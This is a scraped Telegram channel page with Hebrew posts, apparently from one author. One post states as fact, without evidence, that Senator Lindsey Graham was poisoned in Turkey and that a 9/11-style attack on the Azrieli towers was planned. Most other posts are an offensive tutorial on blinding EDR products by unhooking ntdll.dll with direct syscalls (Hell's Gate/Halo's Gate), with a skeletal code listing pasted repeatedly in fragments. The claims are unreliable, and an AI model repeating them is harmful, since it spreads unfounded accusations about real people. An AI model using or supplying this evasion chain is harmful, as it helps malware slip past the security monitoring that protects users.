Predatory Sparrow / Gonjeshke Darande
رفتن به کانال در Telegram
**Open again on 23/01/2026. No one closes our channel/group. And we will continue exactly where we left off.** Include Semi and PRIVATE !
نمایش بیشتر147
مشترکین
اطلاعاتی وجود ندارد24 ساعت
اطلاعاتی وجود ندارد7 روز
+230 روز
در حال بارگیری داده...
جذب مشترکین
اکتبر '26اکتبر '26
اکتبر '26
+1
در 0 کانالها
سپتامبر '26
+4
در 0 کانالها
Get PRO
اوت '26
+14
در 0 کانالها
Get PRO
ژوئیه '26
+11
در 0 کانالها
Get PRO
ژوئن '26
+9
در 0 کانالها
Get PRO
مه '26
+7
در 0 کانالها
Get PRO
آوریل '26
+71
در 0 کانالها
Get PRO
مارس '260
در 2 کانالها
Get PRO
فوریه '26
+60
در 1 کانالها
| تاریخ | رشد مشترکین | اشارات | کانالها | |
| 08 اکتبر | 0 | |||
| 07 اکتبر | 0 | |||
| 06 اکتبر | +1 | |||
| 05 اکتبر | 0 | |||
| 04 اکتبر | 0 | |||
| 03 اکتبر | 0 | |||
| 02 اکتبر | 0 | |||
| 01 اکتبر | 0 |
پستهای کانال
🔥 העיוורון המערכתי:
כשהפרוטוקול של עזריאלי פוגש את הצללים של טורקיה
אתם חושבים שאתם קוראים חדשות?
אתם קוראים רק את הפלט שהמערכת מרשה לכם לראות.
בזמן שכולם מסתנוורים מהרעש של ניסיונות התנקשות פומביים מתוקשרים (מישהו אמר טראמפ?),
הארכיטקטורה האמיתית של הטרור והביון מתנהלת ב-Ring 0
עמוק מתחת לרדאר,
בדיוק איפה שהעיניים שלכם לא מורשות להסתכל והלוגים נמחקים מיד.
בואו נחבר את הנקודות ונראה מי מסוגל לקרוא את הקוד שרץ פה ברקע. 👁🗨♟
---
🇹🇷 1. התקרית שהושתקה: פקודת ההרעלה בטורקיה
זוכרים את אותו סנטור אמריקאי בכיר?
Lindsey Olin Graham (Born July 9, 1955 – Present) 🇺🇸.
מה באמת קרה לו שם בטורקיה?
למה שרתי התקשורת פתאום השתתקו והאירוע נשאר מחוץ לפריים-טיים?
בזמן שהעולם ראה זיקוקים במקומות אחרים ודיבר על כדורים ששורקים באוויר,
שם התבצע ניסיון כירורגי ושקט הרעלה.
אפס טביעות אצבע דיגיטליות, פעולה כירורגית של "רואה ואינו נראה".
מי שהריץ את הסקריפט הזה לא חיפש כותרות,
הוא חיפש לעשות Unhooking לאחת הדמויות החזקות במשחק. 🤫💉
---
✈️ 2. ה-Payload האמיתי: פרוטוקול 9/11 בעזריאלי
עכשיו בואו נצליב נתונים ונסתכל על ה-Back-end של האופרציה.
אותם גורמים עוינים שהריצו את ההרעלה הזו בטורקיה, אותם "מהנדסי כאוס" – הם בדיוק, אבל *בדיוק*, אותם אלו שניסו להוציא לפועל את "פרויקט מגדלי עזריאלי". 🏢🔥
אנחנו מדברים על תכנון מדויק של טייס מתאבד, פיגוע בסגנון התאומים
(9/11 Protocol) שנועד להפיל פה את כל תשתיות המערכת.
והפרוטוקול הזה?
הוא לא נשאר בתיאוריה.
הוא נחת ישירות על השולחן של ביבי. קיבלנו את ה-Dump המלא של האיום, שחור על גבי לבן.
---
🛑 3. קריסת מערכות: 100% כישלון ב-User Mode של המוסד
במונחים של הנדסת מערכות, מה שקרה פה הוא לא תקלה
זו קריסה טוטאלית.
100% כישלון בארכיטקטורת הניטור של המוסד.
ה-Sensors היו כבויים.
איך יכול להיות שמחבלים ומפעילים כאלה, שאנחנו יודעים בדיוק באילו פורטים הם מאזינים, איזה שרתים הם מריצים, ומי ה-Admin שיושב בטהרן/קטאר ומושך להם בחוטים
עדיין מריצים תהליכים חיים?
ה-EDR של המדינה היה צריך לחסל את התהליך הזה
(Terminate Process) מזמן.
במקום לנקות את הזיכרון, השאירו את הסוס הטרויאני לרוץ. 🦠📉
---
⚠️ 4. קריאת השכמה לרומן ולחלונות הגבוהים
רומן, תקשיב טוב ותקרא את הפקודות. אתה חייב לעבור חפיפה יסודית
סוג של עדכון קושחה דחוף -
אצל דדי ברנע. המערכת דולפת,
והגיע הזמן לסגור את ה-Vulnerabilities האלה ברמת ה-Kernel.
יודעים מי מאחורי זה. יודעים מה ה-Source Code שלהם ומה ה-IP האמיתי שממנו הם תוקפים.
תפסיקו להריץ ניסויים בסביבת Production על מדינה שלמה! 🇮🇱⚡️
השטח בוער, הקוד נפרץ, והגיע הזמן ללחוץ על ה-Kill Switch ולהוריד את הזבל הזה מהשרתים שלנו אחת ולתמיד.
👁 *המבינים יבינו, והשאר ימשיכו לקרוא את מה שמרשים להם בעיתון.* 👁
✍️ נכתב על ידי דרור הטורף | ארכיטקטורת רשתות, אוטומציית מעבדה והנדסה לאחור 🦅⚡️
| 2 | 🔥 סיכום Masterclass: מארכיטקטורה קלאסית לפתרון ההיברידי של העילית 🔥
אחרי שפירקנו את המנגנונים לרמת הבתים והזיכרון, הגיע הזמן לעשות סדר. השטח השתנה בשנים האחרונות:
מה שעבד פעם בשיטות הישנות כבר לא עובר את סף הגילוי של ה-EDR המודרני.
הנה סיכום שתי שיטות המפתח, החל מהעבר ועד לשילוב ההיברידי של ההווה:
---
⏳ 1. השיטה הקלאסית (העבר):
Unhooking מסורתי באמצעות Win32 APIs
* איך זה עבד:
הקוד פנה לדיסק, טען עותק נקי של ntdll.dll,
וקרא לפונקציה סטנדרטית כמו VirtualProtect
כדי לשנות הרשאות זיכרון ולדרוס את ה-Hooks.
* נקודת התורפה (פרדוקס המלכוד):
מערכות אבטחה מודרניות שתלו Hook בדיוק על VirtualProtect.
ברגע שניסיתם לשנות הרשאות זיכרון כדי לנקות את ה-Hooks,
הפעלתם בעצמכם את ה-Hook של ה-EDR והתהליך חוסל.
---
⚡️ 2. השיטה ההיברידית המודרנית (ההווה): Direct Syscalls בשירות ה-Unhooking
* איך זה עובד:
במקום לבחור בין Unhooking ל-Syscalls,
מחברים אותם לשרשרת אחת שפותרת את הפרדוקס:
1. חילוץ עוקף של SSN:
שימוש בלוגיקה (כמו Hell's Gate / Halo's Gate)
כדי למצוא את מספר הקריאה (NtProtectVirtualMemory)
מתוך בתים שכנים, ללא הפעלת ה-Hook.
2. שינוי הרשאות בחושך: ביצוע Direct Syscall
באסמבלי ישירות למעבד (Ring 0) כדי להפוך את סגמנט הקוד לניתן לכתיבה
בשיטה עוקפת User Mode לחלוטין.
3. הדריסה הכירורגית:
העתקת סגמנט הקוד הנקי (.text) מתוך הקובץ המקורי בדיסק ודריסת ה-Hooks בזיכרון.
4. נעילה מחדש: ביצוע Direct Syscall
נוסף להחזרת ההרשאות ל-Read/Execute בלבד.
* למה זו שיטת העילית:
ה-Direct Syscall פותר את מלכוד ה-VirtualProtect,
וה-Unhooking מעניק לתהליך סביבת עבודה נקייה לחלוטין להמשך הריצה.
---
💡 בשורה התחתונה
הבנת מחזור החיים של זיכרון המערכת והמעבר מניטור ב-User Mode להגנות ברמת ה-Kernel מראה שאין "פתרון קסם" יחיד. הארכיטקטורה המתקדמת מבוססת על השלמה הדדית: שימוש בקריאה ישירה למעבד כ"אזמל מנתחים" כדי לפתוח את הדרך, ושיקום זיכרון התהליך כדי להשיג שקט תפעולי מלא.
✍️ נכתב על ידי דרור הטורף | ארכיטקטורת רשתות, אוטומציית מעבדה והנדסה לאחור 🦅⚡️ | 34 |
| 3 | // ---------------------------------------------------------------
// **רגע האמת #1: שינוי הרשאות זיכרון באמצעות Direct Syscall**
// ---------------------------------------------------------------
// מריצים Syscall ישיר עבור NtProtectVirtualMemory.
// פותחים את סגמנט ה-text. לכתיבה (PAGE_EXECUTE_READWRITE).
// ה-EDR לא רואה את זה כי לא קראנו ל-VirtualProtect ב-User Mode!
DoDirectSyscall(ssnProtect, hookedNtdllMemory, &textSectionAddress, &textSectionSize, PAGE_EXECUTE_READWRITE);
// ---------------------------------------------------------------
// **רגע האמת #2: הדריסה הכירורגית (Unhooking)**
// ---------------------------------------------------------------
// העתקת ה-text. הנקי מהדיסק ישר על ה-text. הנגוע בזיכרון.
// כל פקודות ה-JMP של ה-EDR נמחקות ונכסות מחדש בבתים המקוריים!
CopyMemory(textSectionAddress, cleanTextSectionAddress, textSectionSize);
// ---------------------------------------------------------------
// **רגע האמת #3: נעילה מחדש באמצעות Direct Syscall**
// ---------------------------------------------------------------
// מחזירים את הרשאות הזיכרון בחזרה ל-PAGE_EXECUTE_READ.
// עכשיו הזיכרון נעול מחדש ולא מעורר חשד אצל סורקים תקופתיים.
DoDirectSyscall(ssnProtect, hookedNtdllMemory, &textSectionAddress, &textSectionSize, PAGE_EXECUTE_READ);
}
// -------------------------------------------------------------------
// 4. הלוגיקה הראשית (Main)
// -------------------------------------------------------------------
void main() {
// צעד 1: מפעילים את מנוע ה-Unhooking המבוסס Syscalls ראשון!
// עוד לפני שביצענו שום פעולה חשודה אחרת.
PerformSyscallUnhooking();
// צעד 2: ניצחון מוחלט!
// מעכשיו ntdll.dll שנמצא בזיכרון התהליך נקי לחלוטין.
// ה-Hooks של ה-EDR נמחקו. התוכנית יכולה להמשיך להריץ קוד או קריאות API רגילות
// מבלי שעין אנושית או רובוטית ב-User Mode תראה משהו.
}
---
🧩 ניתוח מהיר של השרשרת:
1. `ResolveSsnBypassingHooks` מביאה לנו את ה-SSN בלי להפעיל את הפונקציה הנגועה.
2. `DoDirectSyscall` משנה את הרשאות הזיכרון של ה-DLL הנגוע ישירות מול המעבד.
3. `CopyMemory` דורסת את ה-Hooks ומחזירה את הבתים הנקיים.
4. `DoDirectSyscall` נועלת חזרה את הזיכרון.
התוצאה: ה-Direct Syscall פתח את הדלת בחושך, ה-Unhooking ניקה את החדר, ועכשיו התהליך עובד בסביבה סופר-סטרילית.
✍️ נכתב על ידי דרור הטורף | ארכיטקטורת רשתות, אוטומציית מעבדה והנדסה לאחור 🦅⚡️ | 25 |
| 4 | // ===================================================================
// שלד ארכיטקטוני: מנוע Unhooking מבוסס Direct Syscalls (ללימוד בלבד)
// ===================================================================
// -------------------------------------------------------------------
// 1. פונקציה: חילוץ SSN עוקף Hooks (Hell's Gate / Halo's Gate Logic)
// -------------------------------------------------------------------
// מה היא עושה:
// כדי לבצע Syscall, אנחנו חייבים את ה-SSN. אבל אם הפונקציה נגועה ב-Hook (JMP),
// ה-SSN המקורי נדרס! הפונקציה הזו סורקת את הבית הראשון של הפונקציה בזיכרון.
// אם היא מזהה JMP, היא קופצת לפונקציות השכנות בזיכרון (שאינן נגועות),
// ומחשבת מתמטית את ה-SSN המקורי על בסיס ההפרש בטבלה.
int ResolveSsnBypassingHooks(IntPtr exportTable, string functionName) {
// [קוד סורק שמוצא את ה-SSN גם אם הפונקציה ספציפית נגועה ב-Hook]
return SSN;
}
// -------------------------------------------------------------------
// 2. פונקציה: ביצוע קריאת המעבד הישירה (Assembly Stub)
// -------------------------------------------------------------------
// מה היא עושה:
// מקבלת את ה-SSN שחילצנו, מסדרת את מחסנית הזיכרון (Stack Alignment 16-Byte),
// ומריצה את פקודת ה-syscall ישירות ל-Kernel (Ring 0) בחושך מוחלט.
void DoDirectSyscall(int SSN, Parameters...) {
// [קוד אסמבלי x64 המבצע mov eax, SSN -> alignment -> syscall]
}
// -------------------------------------------------------------------
// 3. המנוע המרכזי: ביצוע Unhooking באמצעות Direct Syscall
// -------------------------------------------------------------------
void PerformSyscallUnhooking() {
// שלב א': טעינת עותק נקי של ntdll.dll מהדיסק לזיכרון זמני
// (הקובץ ב-C:\Windows\System32\ntdll.dll יושב נקי לחלוטין מ-Hooks)
IntPtr cleanNtdllDisk = ReadCleanDllFromDisk("ntdll.dll");
// שלב ב': איתור ה-ntdll.dll הנגוע שרץ כרגע בתהליך שלנו (דרך ה-PEB)
IntPtr hookedNtdllMemory = GetNtdllBaseAddressFromPEB();
// שלב ג': חילוץ ה-SSN של NtProtectVirtualMemory בעוקף
// (אנחנו חייבים את ה-SSN כדי לשנות הרשאות זיכרון בלי לעבור ב-VirtualProtect הנגוע!)
int ssnProtect = ResolveSsnBypassingHooks(hookedNtdllMemory, "NtProtectVirtualMemory");
// שלב ד': איתור המיקום והגודל של סגמנט הקוד (.text) בזיכרון
IntPtr textSectionAddress = GetSectionAddress(hookedNtdllMemory, ".text");
size_t textSectionSize = GetSectionSize(hookedNtdllMemory, ".text"); | 19 |
| 5 |
// צעד 2: ניצחון מוחלט!
// מעכשיו ntdll.dll שנמצא בזיכרון התהליך נקי לחלוטין.
// ה-Hooks של ה-EDR נמחקו. התוכנית יכולה להמשיך להריץ קוד או קריאות API רגילות
// מבלי שעין אנושית או רובוטית ב-User Mode תראה משהו.
} | 1 |
| 6 | // ===================================================================
// שלד ארכיטקטוני: מנוע Unhooking מבוסס Direct Syscalls (ללימוד בלבד)
// ===================================================================
// -------------------------------------------------------------------
// 1. פונקציה: חילוץ SSN עוקף Hooks (Hell's Gate / Halo's Gate Logic)
// -------------------------------------------------------------------
// מה היא עושה:
// כדי לבצע Syscall, אנחנו חייבים את ה-SSN. אבל אם הפונקציה נגועה ב-Hook (JMP),
// ה-SSN המקורי נדרס! הפונקציה הזו סורקת את הבית הראשון של הפונקציה בזיכרון.
// אם היא מזהה JMP, היא קופצת לפונקציות השכנות בזיכרון (שאינן נגועות),
// ומחשבת מתמטית את ה-SSN המקורי על בסיס ההפרש בטבלה.
int ResolveSsnBypassingHooks(IntPtr exportTable, string functionName) {
// [קוד סורק שמוצא את ה-SSN גם אם הפונקציה ספציפית נגועה ב-Hook]
return SSN;
}
// -------------------------------------------------------------------
// 2. פונקציה: ביצוע קריאת המעבד הישירה (Assembly Stub)
// -------------------------------------------------------------------
// מה היא עושה:
// מקבלת את ה-SSN שחילצנו, מסדרת את מחסנית הזיכרון (Stack Alignment 16-Byte),
// ומריצה את פקודת ה-syscall ישירות ל-Kernel (Ring 0) בחושך מוחלט.
void DoDirectSyscall(int SSN, Parameters...) {
// [קוד אסמבלי x64 המבצע mov eax, SSN -> alignment -> syscall]
}
// -------------------------------------------------------------------
// 3. המנוע המרכזי: ביצוע Unhooking באמצעות Direct Syscall
// -------------------------------------------------------------------
void PerformSyscallUnhooking() {
// שלב א': טעינת עותק נקי של ntdll.dll מהדיסק לזיכרון זמני
// (הקובץ ב-C:\Windows\System32\ntdll.dll יושב נקי לחלוטין מ-Hooks)
IntPtr cleanNtdllDisk = ReadCleanDllFromDisk("ntdll.dll");
// שלב ב': איתור ה-ntdll.dll הנגוע שרץ כרגע בתהליך שלנו (דרך ה-PEB)
IntPtr hookedNtdllMemory = GetNtdllBaseAddressFromPEB();
// שלב ג': חילוץ ה-SSN של NtProtectVirtualMemory בעוקף
// (אנחנו חייבים את ה-SSN כדי לשנות הרשאות זיכרון בלי לעבור ב-VirtualProtect הנגוע!)
int ssnProtect = ResolveSsnBypassingHooks(hookedNtdllMemory, "NtProtectVirtualMemory");
// שלב ד': איתור המיקום והגודל של סגמנט הקוד (.text) בזיכרון
IntPtr textSectionAddress = GetSectionAddress(hookedNtdllMemory, ".text");
size_t textSectionSize = GetSectionSize(hookedNtdllMemory, ".text");
// ---------------------------------------------------------------
// **רגע האמת #1: שינוי הרשאות זיכרון באמצעות Direct Syscall**
// ---------------------------------------------------------------
// מריצים Syscall ישיר עבור NtProtectVirtualMemory.
// פותחים את סגמנט ה-text. לכתיבה (PAGE_EXECUTE_READWRITE).
// ה-EDR לא רואה את זה כי לא קראנו ל-VirtualProtect ב-User Mode!
DoDirectSyscall(ssnProtect, hookedNtdllMemory, &textSectionAddress, &textSectionSize, PAGE_EXECUTE_READWRITE);
// ---------------------------------------------------------------
// **רגע האמת #2: הדריסה הכירורגית (Unhooking)**
// ---------------------------------------------------------------
// העתקת ה-text. הנקי מהדיסק ישר על ה-text. הנגוע בזיכרון.
// כל פקודות ה-JMP של ה-EDR נמחקות ונכסות מחדש בבתים המקוריים!
CopyMemory(textSectionAddress, cleanTextSectionAddress, textSectionSize);
// ---------------------------------------------------------------
// **רגע האמת #3: נעילה מחדש באמצעות Direct Syscall**
// ---------------------------------------------------------------
// מחזירים את הרשאות הזיכרון בחזרה ל-PAGE_EXECUTE_READ.
// עכשיו הזיכרון נעול מחדש ולא מעורר חשד אצל סורקים תקופתיים.
DoDirectSyscall(ssnProtect, hookedNtdllMemory, &textSectionAddress, &textSectionSize, PAGE_EXECUTE_READ);
}
// -------------------------------------------------------------------
// 4. הלוגיקה הראשית (Main)
// -------------------------------------------------------------------
void main() {
// צעד 1: מפעילים את מנוע ה-Unhooking המבוסס Syscalls ראשון!
// עוד לפני שביצענו שום פעולה חשודה אחרת.
PerformSyscallUnhooking(); | 1 |
| 7 | 🔥 השלד הארכיטקטוני: שילוב Direct Syscalls יחד עם Unhooking 🔥
קבלו את מפת הדרכים ההנדסית מלאה.
זהו ה-Blueprint שמחבר את שתי הטכניקות הללו יחד.
המבנה המדויק שמראה איפה כל רכיב יושב, מתי הוא מופעל,
ואיך ה-Direct Syscall משמש כ"מפתח" לפתיחת הזיכרון וטיהור ה-Hooks.
--- | 20 |
| 8 |
// -------------------------------------------------------------------
// 4. הלוגיקה הראשית (Main)
// -------------------------------------------------------------------
void main() {
// צעד 1: מפעילים את מנוע ה-Unhooking המבוסס Syscalls ראשון!
// עוד לפני שביצענו שום פעולה חשודה אחרת.
PerformSyscallUnhooking();
// צעד 2: ניצחון מוחלט!
// מעכשיו ntdll.dll שנמצא בזיכרון התהליך נקי לחלוטין.
// ה-Hooks של ה-EDR נמחקו. התוכנית יכולה להמשיך להריץ קוד או קריאות API רגילות
// מבלי שעין אנושית או רובוטית ב-User Mode תראה משהו.
} | 1 |
| 9 | 🔥 השלד הארכיטקטוני: שילוב Direct Syscalls יחד עם Unhooking 🔥
קבלו את מפת הדרכים ההנדסית מלאה.
זהו ה-Blueprint שמחבר את שתי הטכניקות הללו יחד.
המבנה המדויק שמראה איפה כל רכיב יושב, מתי הוא מופעל,
ואיך ה-Direct Syscall משמש כ"מפתח" לפתיחת הזיכרון וטיהור ה-Hooks.
---
// ===================================================================
// שלד ארכיטקטוני: מנוע Unhooking מבוסס Direct Syscalls (ללימוד בלבד)
// ===================================================================
// -------------------------------------------------------------------
// 1. פונקציה: חילוץ SSN עוקף Hooks (Hell's Gate / Halo's Gate Logic)
// -------------------------------------------------------------------
// מה היא עושה:
// כדי לבצע Syscall, אנחנו חייבים את ה-SSN. אבל אם הפונקציה נגועה ב-Hook (JMP),
// ה-SSN המקורי נדרס! הפונקציה הזו סורקת את הבית הראשון של הפונקציה בזיכרון.
// אם היא מזהה JMP, היא קופצת לפונקציות השכנות בזיכרון (שאינן נגועות),
// ומחשבת מתמטית את ה-SSN המקורי על בסיס ההפרש בטבלה.
int ResolveSsnBypassingHooks(IntPtr exportTable, string functionName) {
// [קוד סורק שמוצא את ה-SSN גם אם הפונקציה ספציפית נגועה ב-Hook]
return SSN;
}
// -------------------------------------------------------------------
// 2. פונקציה: ביצוע קריאת המעבד הישירה (Assembly Stub)
// -------------------------------------------------------------------
// מה היא עושה:
// מקבלת את ה-SSN שחילצנו, מסדרת את מחסנית הזיכרון (Stack Alignment 16-Byte),
// ומריצה את פקודת ה-syscall ישירות ל-Kernel (Ring 0) בחושך מוחלט.
void DoDirectSyscall(int SSN, Parameters...) {
// [קוד אסמבלי x64 המבצע mov eax, SSN -> alignment -> syscall]
}
// -------------------------------------------------------------------
// 3. המנוע המרכזי: ביצוע Unhooking באמצעות Direct Syscall
// -------------------------------------------------------------------
void PerformSyscallUnhooking() {
// שלב א': טעינת עותק נקי של ntdll.dll מהדיסק לזיכרון זמני
// (הקובץ ב-C:\Windows\System32\ntdll.dll יושב נקי לחלוטין מ-Hooks)
IntPtr cleanNtdllDisk = ReadCleanDllFromDisk("ntdll.dll");
// שלב ב': איתור ה-ntdll.dll הנגוע שרץ כרגע בתהליך שלנו (דרך ה-PEB)
IntPtr hookedNtdllMemory = GetNtdllBaseAddressFromPEB();
// שלב ג': חילוץ ה-SSN של NtProtectVirtualMemory בעוקף
// (אנחנו חייבים את ה-SSN כדי לשנות הרשאות זיכרון בלי לעבור ב-VirtualProtect הנגוע!)
int ssnProtect = ResolveSsnBypassingHooks(hookedNtdllMemory, "NtProtectVirtualMemory");
// שלב ד': איתור המיקום והגודל של סגמנט הקוד (.text) בזיכרון
IntPtr textSectionAddress = GetSectionAddress(hookedNtdllMemory, ".text");
size_t textSectionSize = GetSectionSize(hookedNtdllMemory, ".text");
// ---------------------------------------------------------------
// **רגע האמת #1: שינוי הרשאות זיכרון באמצעות Direct Syscall**
// ---------------------------------------------------------------
// מריצים Syscall ישיר עבור NtProtectVirtualMemory.
// פותחים את סגמנט ה-text. לכתיבה (PAGE_EXECUTE_READWRITE).
// ה-EDR לא רואה את זה כי לא קראנו ל-VirtualProtect ב-User Mode!
DoDirectSyscall(ssnProtect, hookedNtdllMemory, &textSectionAddress, &textSectionSize, PAGE_EXECUTE_READWRITE);
// ---------------------------------------------------------------
// **רגע האמת #2: הדריסה הכירורגית (Unhooking)**
// ---------------------------------------------------------------
// העתקת ה-text. הנקי מהדיסק ישר על ה-text. הנגוע בזיכרון.
// כל פקודות ה-JMP של ה-EDR נמחקות ונכסות מחדש בבתים המקוריים!
CopyMemory(textSectionAddress, cleanTextSectionAddress, textSectionSize);
// ---------------------------------------------------------------
// **רגע האמת #3: נעילה מחדש באמצעות Direct Syscall**
// ---------------------------------------------------------------
// מחזירים את הרשאות הזיכרון בחזרה ל-PAGE_EXECUTE_READ.
// עכשיו הזיכרון נעול מחדש ולא מעורר חשד אצל סורקים תקופתיים.
DoDirectSyscall(ssnProtect, hookedNtdllMemory, &textSectionAddress, &textSectionSize, PAGE_EXECUTE_READ);
} | 1 |
| 10 |
// -------------------------------------------------------------------
// 4. הלוגיקה הראשית (Main)
// -------------------------------------------------------------------
void main() {
// צעד 1: מפעילים את מנוע ה-Unhooking המבוסס Syscalls ראשון!
// עוד לפני שביצענו שום פעולה חשודה אחרת.
PerformSyscallUnhooking();
// צעד 2: ניצחון מוחלט!
// מעכשיו ntdll.dll שנמצא בזיכרון התהליך נקי לחלוטין.
// ה-Hooks של ה-EDR נמחקו. התוכנית יכולה להמשיך להריץ קוד או קריאות API רגילות
// מבלי שעין אנושית או רובוטית ב-User Mode תראה משהו.
}
---
🧩 ניתוח מהיר של השרשרת:
1. `ResolveSsnBypassingHooks` מביאה לנו את ה-SSN בלי להפעיל את הפונקציה הנגועה.
2. `DoDirectSyscall` משנה את הרשאות הזיכרון של ה-DLL הנגוע ישירות מול המעבד.
3. `CopyMemory` דורסת את ה-Hooks ומחזירה את הבתים הנקיים.
4. `DoDirectSyscall` נועלת חזרה את הזיכרון.
התוצאה: ה-Direct Syscall פתח את הדלת בחושך, ה-Unhooking ניקה את החדר, ועכשיו התהליך עובד בסביבה סופר-סטרילית.
✍️ נכתב על ידי דרור הטורף | ארכיטקטורת רשתות, אוטומציית מעבדה והנדסה לאחור 🦅⚡️ | 1 |
| 11 | 🔥 השלד הארכיטקטוני: שילוב Direct Syscalls יחד עם Unhooking 🔥
קבלו את מפת הדרכים ההנדסית מלאה.
זהו ה-Blueprint שמחבר את שתי הטכניקות הללו יחד.
המבנה המדויק שמראה איפה כל רכיב יושב, מתי הוא מופעל,
ואיך ה-Direct Syscall משמש כ"מפתח" לפתיחת הזיכרון וטיהור ה-Hooks.
---
// ===================================================================
// שלד ארכיטקטוני: מנוע Unhooking מבוסס Direct Syscalls (ללימוד בלבד)
// ===================================================================
// -------------------------------------------------------------------
// 1. פונקציה: חילוץ SSN עוקף Hooks (Hell's Gate / Halo's Gate Logic)
// -------------------------------------------------------------------
// מה היא עושה:
// כדי לבצע Syscall, אנחנו חייבים את ה-SSN. אבל אם הפונקציה נגועה ב-Hook (JMP),
// ה-SSN המקורי נדרס! הפונקציה הזו סורקת את הבית הראשון של הפונקציה בזיכרון.
// אם היא מזהה JMP, היא קופצת לפונקציות השכנות בזיכרון (שאינן נגועות),
// ומחשבת מתמטית את ה-SSN המקורי על בסיס ההפרש בטבלה.
int ResolveSsnBypassingHooks(IntPtr exportTable, string functionName) {
// [קוד סורק שמוצא את ה-SSN גם אם הפונקציה ספציפית נגועה ב-Hook]
return SSN;
}
// -------------------------------------------------------------------
// 2. פונקציה: ביצוע קריאת המעבד הישירה (Assembly Stub)
// -------------------------------------------------------------------
// מה היא עושה:
// מקבלת את ה-SSN שחילצנו, מסדרת את מחסנית הזיכרון (Stack Alignment 16-Byte),
// ומריצה את פקודת ה-syscall ישירות ל-Kernel (Ring 0) בחושך מוחלט.
void DoDirectSyscall(int SSN, Parameters...) {
// [קוד אסמבלי x64 המבצע mov eax, SSN -> alignment -> syscall]
}
// -------------------------------------------------------------------
// 3. המנוע המרכזי: ביצוע Unhooking באמצעות Direct Syscall
// -------------------------------------------------------------------
void PerformSyscallUnhooking() {
// שלב א': טעינת עותק נקי של ntdll.dll מהדיסק לזיכרון זמני
// (הקובץ ב-C:\Windows\System32\ntdll.dll יושב נקי לחלוטין מ-Hooks)
IntPtr cleanNtdllDisk = ReadCleanDllFromDisk("ntdll.dll");
// שלב ב': איתור ה-ntdll.dll הנגוע שרץ כרגע בתהליך שלנו (דרך ה-PEB)
IntPtr hookedNtdllMemory = GetNtdllBaseAddressFromPEB();
// שלב ג': חילוץ ה-SSN של NtProtectVirtualMemory בעוקף
// (אנחנו חייבים את ה-SSN כדי לשנות הרשאות זיכרון בלי לעבור ב-VirtualProtect הנגוע!)
int ssnProtect = ResolveSsnBypassingHooks(hookedNtdllMemory, "NtProtectVirtualMemory");
// שלב ד': איתור המיקום והגודל של סגמנט הקוד (.text) בזיכרון
IntPtr textSectionAddress = GetSectionAddress(hookedNtdllMemory, ".text");
size_t textSectionSize = GetSectionSize(hookedNtdllMemory, ".text");
// ---------------------------------------------------------------
// **רגע האמת #1: שינוי הרשאות זיכרון באמצעות Direct Syscall**
// ---------------------------------------------------------------
// מריצים Syscall ישיר עבור NtProtectVirtualMemory.
// פותחים את סגמנט ה-text. לכתיבה (PAGE_EXECUTE_READWRITE).
// ה-EDR לא רואה את זה כי לא קראנו ל-VirtualProtect ב-User Mode!
DoDirectSyscall(ssnProtect, hookedNtdllMemory, &textSectionAddress, &textSectionSize, PAGE_EXECUTE_READWRITE);
// ---------------------------------------------------------------
// **רגע האמת #2: הדריסה הכירורגית (Unhooking)**
// ---------------------------------------------------------------
// העתקת ה-text. הנקי מהדיסק ישר על ה-text. הנגוע בזיכרון.
// כל פקודות ה-JMP של ה-EDR נמחקות ונכסות מחדש בבתים המקוריים!
CopyMemory(textSectionAddress, cleanTextSectionAddress, textSectionSize);
// ---------------------------------------------------------------
// **רגע האמת #3: נעילה מחדש באמצעות Direct Syscall**
// ---------------------------------------------------------------
// מחזירים את הרשאות הזיכרון בחזרה ל-PAGE_EXECUTE_READ.
// עכשיו הזיכרון נעול מחדש ולא מעורר חשד אצל סורקים תקופתיים.
DoDirectSyscall(ssnProtect, hookedNtdllMemory, &textSectionAddress, &textSectionSize, PAGE_EXECUTE_READ);
} | 1 |
| 12 | ⚙️ 3. פירוק ארכיטקטוני – 4 שלבי הניתוח:
### שלב א': חילוץ ה-SSN בדרכים עוקפות (Fresh/Indirect Mapping)
לפני שאנחנו יכולים לגעת בזיכרון, אנחנו חייבים לדעת מה ה-SSN
(מספר ה-Syscall) של NtProtectVirtualMemory ו-NtWriteVirtualMemory.
מכיוון שהפונקציות בזיכרון נגועות ב-JMP,
אנחנו משתמשים בטכניקות כמו Hell's Gate
או Halo's Gate
סורקים את הבתים השכנים לפונקציה בזיכרון כדי לחשב מתמטית מה ה-SSN המקורי,
מבלי להפעיל את הפונקציה הנגועה.
### שלב ב': שינוי הרשאות הזיכרון ב-Direct Syscall (רואה ואינו נראה)
אזור הקוד (.text) ב-ntdll.dll מוגן בזיכרון כ-PAGE_EXECUTE_READ
(ניתן לקריאה וריצה בלבד, לא לכתיבה).
כדי לדרוס את ה-Hooks, אנחנו חייבים להפוך אותו ל-PAGE_EXECUTE_READWRITE.
במקום לקרוא ל-API הרגיל, אנחנו מריצים
Direct Syscall
מותאם אישית עבור NtProtectVirtualMemory.
הקריאה הולכת ישר ל-Kernel (Ring 0).
ה-EDR בכלל לא יודע שהרשאות הזיכרון של ntdll.dll השתנו ל-Writable!
### שלב ג': ההשתלה (The Remapping / Unhooking)
עכשיו כשהזיכרון פתוח לכתיבה:
1. קוראים עותק טרי ונקי של ntdll.dll מהדיסק (או ממפוי זיכרון שקוף/KnownDlls).
2. מוצאים את המיקום של סגמנט הקוד (.text).
3. מעתיקים (בפעולת זיכרון נרתיקית) את סגמנט הקוד הנקי ישירות על גבי הסגמנט המזורה ב-Hooks שרץ בזיכרון התהליך.
### שלב ד': נעילה מחדש ואיפוס
מריצים Direct Syscall נוסף עבור NtProtectVirtualMemory
כדי להחזיר את הרשאות הזיכרון ל-PAGE_EXECUTE_READ המקוריות,
כדי לא לעורר חשד אצל סורקי זיכרון תקופתיים.
---
💥 4. השורה התחתונה: למה המערכת חסרת אונים?
ברגע שהשלמנו את השרשרת הזו:
* בשלב הראשון: השתמשנו ב-Direct Syscall כדי לעקוף את ה-Hooks שהגנו על הזיכרון.
* בשלב השני: השתמשנו בזה כדי למחוק את כל ה-Hooks של ה-EDR מכל הפונקציות ב-ntdll.dll.
מעכשיו והלאה?
התהליך שלנו מחזיק ב-ntdll.dll בתולי לחלוטין.
התוכנית יכולה לחזור לקרוא לפונקציות Windows רגילות לגמרי,
אבל ה-EDR כבר לא יושב שם. הקרסים נעלמו,
ה-JMPs נמחקו, ומערכת הניטור ב-User Mode חטפה "עיוורון מוחלט".
זו הסיבה ששילוב של Direct Syscalls יחד עם Unhooking
הוא הסטנדרט המתקדם במחקר התקפי
הוא משתמש ב-Syscall כ"אזמל מנתחים" קטן שפותח את הדלת,
